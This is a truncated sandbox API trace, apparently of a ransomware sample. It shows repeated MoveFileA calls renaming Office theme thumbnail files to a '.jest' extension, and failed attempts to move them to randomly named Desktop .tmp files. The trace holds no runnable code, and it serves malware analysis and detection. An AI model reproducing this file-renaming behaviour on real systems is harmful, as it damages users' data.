[0168.153] GetLastError () returned 0x2 [0168.153] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︙", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.jest")) returned 1 [0168.156] VarBstrFromR4 (in: fltIn=0x479458dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.72") returned 0x0 [0168.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5hH3y gCCO1vv-oZ _IuV5N0p_dlS5Ctgfi_ikKx40pA72G49fcBFJP3JCbRHE84o0hxrF7oUugj-05o6W9ZosgjVOcyFo-jkTcW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5hh3y gcco1vv-oz _iuv5n0p_dls5ctgfi_ikkx40pa72g49fcbfjp3jcbrhe84o0hxrf7ouugj-05o6w9zosgjvocyfo-jktcw.tmp")) returned 0 [0168.157] GetLastError () returned 0x2 [0168.157] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﹍", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.jest")) returned 1 [0168.159] VarBstrFromR4 (in: fltIn=0x479458dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.72") returned 0x0 [0168.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bkbsp-ywosGB64MFXsDKW5xQj5X5o930H0QXSxIoYOFCBj 7ydqZ4 LH_svbjozPIx66InMLFyKxdHbBYLcnHYKDoRSKomY3wES3X.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bkbsp-ywosgb64mfxsdkw5xqj5x5o930h0qxsxioyofcbj 7ydqz4 lh_svbjozpix66inmlfykxdhbbylcnhykdorskomy3wes3x.tmp")) returned 0 [0168.160] GetLastError () returned 0x2 [0168.160] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﹑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.jest")) returned 1 [0168.162] VarBstrFromR4 (in: fltIn=0x479458de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.73") returned 0x0 [0168.163] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q37oDsf2Rs-znjuN BVpfNyByYkX-2dN6vox9pPh uixzJxTIIuEELjixaBwbRy FCpY2GH2GPXr-g5tGGqC AREgkTR4COKVp7Z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q37odsf2rs-znjun bvpfnybyykx-2dn6vox9pph uixzjxtiiueeljixabwbry fcpy2gh2gpxr-g5tggqc aregktr4cokvp7z.tmp")) returned 0 [0168.163] GetLastError () returned 0x2 [0168.163] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="φ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.jest")) returned 1 [0168.166] VarBstrFromR4 (in: fltIn=0x479458de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.73") returned 0x0 [0168.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CU6o9o-oH0z-dNqT8cBLhRQmvFPQ3egAd6jJNMI2 zGXEjehNPgr_7iQirpKaIJjP596G 5Eh9Hm32D7gS8h ZPzNj0G5lNzISZy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cu6o9o-oh0z-dnqt8cblhrqmvfpq3egad6jjnmi2 zgxejehnpgr_7iqirpkaijjp596g 5eh9hm32d7gs8h zpznj0g5lnziszy.tmp")) returned 0 [0168.167] GetLastError () returned 0x2 [0168.167] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ψ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.jest")) returned 1 [0168.169] VarBstrFromR4 (in: fltIn=0x479458de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.73") returned 0x0 [0168.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\czbN3hEKRFH9gibummgZCmFU_ZRWEdAL57bSKKz_5IdZkmTXHv_fa0u7ejWe6BCwiSrSasGXPy3p83IV3Dc8_q3j2qQs46oIQJXoB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\czbn3hekrfh9gibummgzcmfu_zrwedal57bskkz_5idzkmtxhv_fa0u7ejwe6bcwisrsasgxpy3p83iv3dc8_q3j2qqs46oiqjxob.tmp")) returned 0 [0168.170] GetLastError () returned 0x2 [0168.171] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﺰ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.jest")) returned 1 [0168.176] VarBstrFromR4 (in: fltIn=0x479458de, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.73") returned 0x0 [0168.178] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R iLzhBWhLBz7bzlkdHRqJLGcgDGt0wVZfLwZR6U9wA77X eskIQbDh1dIHgK 7RKwobm DLoTGzTrRtF827wz5XS5yDgE_Xbs7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r ilzhbwhlbz7bzlkdhrqjlgcgdgt0wvzflwzr6u9wa77x eskiqbdh1dihgk 7rkwobm dlotgztrrtf827wz5xs5ydge_xbs7.tmp")) returned 0 [0168.179] GetLastError () returned 0x2 [0168.179] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﻎ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.jest")) returned 1 [0168.184] VarBstrFromR4 (in: fltIn=0x479458e0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.75") returned 0x0 [0168.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dKiZh__02XV7 9b6Y8RadpfnBS wsQrX3mD5uabOzryz8Jfr-TzvBVVeWuSBLrY3SaV1r8JXTWHyLKJHb_41fetiQPQhzRdot MQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dkizh__02xv7 9b6y8radpfnbs wsqrx3md5uabozryz8jfr-tzvbvvewusblry3sav1r8jxtwhylkjhb_41fetiqpqhzrdot mq.tmp")) returned 0 [0168.185] GetLastError () returned 0x2 [0168.185] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.189] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.jest")) returned 1 [0168.193] VarBstrFromR4 (in: fltIn=0x479458e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.77") returned 0x0 [0168.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UO4zVDbx72qm-4wlYQmupAlx6SuPokobkzlQ56egzVs9kaqQNi89uqEdKgY6s SzGbGRNGwvnu353CvCkutk nhBbDk4MsIjJeUOl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uo4zvdbx72qm-4wlyqmupalx6supokobkzlq56egzvs9kaqqni89uqedkgy6s szgbgrngwvnu353cvckutk nhbbdk4msijjeuol.tmp")) returned 0 [0168.194] GetLastError () returned 0x2 [0168.194] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ό\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.jest")) returned 1 [0168.196] VarBstrFromR4 (in: fltIn=0x479458e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.77") returned 0x0 [0168.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8agpba0P_r_a4YUCvGtPM hhXeN5sn9bcNrebmYHaRp3PYRs4scCUK55Ri07cuB0TXBc2BDV5-L3ue4-_Z-PMomAA7KpCyBWEuZ-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8agpba0p_r_a4yucvgtpm hhxen5sn9bcnrebmyharp3pyrs4sccuk55ri07cub0txbc2bdv5-l3ue4-_z-pmomaa7kpcybweuz-.tmp")) returned 0 [0168.197] GetLastError () returned 0x2 [0168.197] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ϗ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.jest")) returned 1 [0168.201] VarBstrFromR4 (in: fltIn=0x479458e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.77") returned 0x0 [0168.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KLxythf- 0mh NxQcOylZuD4jWPAdz-KJbz M4H PUtLgciiz3kssB1tEwXuwSBqLLIbSlfJGIT1CM9WYStscqqIfPk5hc9e KE7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\klxythf- 0mh nxqcoylzud4jwpadz-kjbz m4h putlgciiz3kssb1tewxuwsbqllibslfjgit1cm9wystscqqifpk5hc9e ke7.tmp")) returned 0 [0168.202] GetLastError () returned 0x2 [0168.202] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.jest")) returned 1 [0168.204] VarBstrFromR4 (in: fltIn=0x479458e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.77") returned 0x0 [0168.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0zCknW DtxeaIpz51RMC2vdGPGz4R96HKEyl8y5YeqB3oQ7R7dZOjdASi8QDkWDj rZ5_ziHG9uMVor62BgGAmHy_kgx9ELzMuB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0zcknw dtxeaipz51rmc2vdgpgz4r96hkeyl8y5yeqb3oq7r7dzojdasi8qdkwdj rz5_zihg9umvor62bggamhy_kgx9elzmub.tmp")) returned 0 [0168.205] GetLastError () returned 0x2 [0168.206] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ΰ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.206] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.jest")) returned 1 [0168.208] VarBstrFromR4 (in: fltIn=0x479458e2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.77") returned 0x0 [0168.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t b XF80Xw5qmLVMpQFJ72iGnb2rrYFtJ1WYPD JkDgA3BfEcjD1_zLIypL68r6eQVy067StYEH-KkZrwI_xELII6LwGZmLzU wj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t b xf80xw5qmlvmpqfj72ignb2rryftj1wypd jkdga3bfecjd1_zliypl68r6eqvy067styeh-kkzrwi_xelii6lwgzmlzu wj.tmp")) returned 0 [0168.208] GetLastError () returned 0x2 [0168.209] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ϗ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.209] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.jest")) returned 1 [0168.211] VarBstrFromR4 (in: fltIn=0x479458e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.78") returned 0x0 [0168.212] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0FM4a72it6PnoKo1L91byV_btkDCniJbjdp 3HmNtSFYUFr_k5aWLcm00PISgF3QXZGqyfnQ9Sf7pGbh8btfK5_7JeyLCufIg0i9Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0fm4a72it6pnoko1l91byv_btkdcnijbjdp 3hmntsfyufr_k5awlcm00pisgf3qxzgqyfnq9sf7pgbh8btfk5_7jeylcufig0i9y.tmp")) returned 0 [0168.212] GetLastError () returned 0x2 [0168.212] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ђ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.jest")) returned 1 [0168.214] VarBstrFromR4 (in: fltIn=0x479458e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.78") returned 0x0 [0168.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fsum_oqxFJJAM-HEG4wjpN2B tdCPq1xGKpYISb5_SBSRT2n-i 8LUSMtZ5H_GB4W988XA_GSFnrDhkH9iHghj70oSQuTsfUT7M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fsum_oqxfjjam-heg4wjpn2b tdcpq1xgkpyisb5_sbsrt2n-i 8lusmtz5h_gb4w988xa_gsfnrdhkh9ihghj70osqutsfut7m.tmp")) returned 0 [0168.216] GetLastError () returned 0x2 [0168.216] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Љ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.jest")) returned 1 [0168.219] VarBstrFromR4 (in: fltIn=0x479458e4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.78") returned 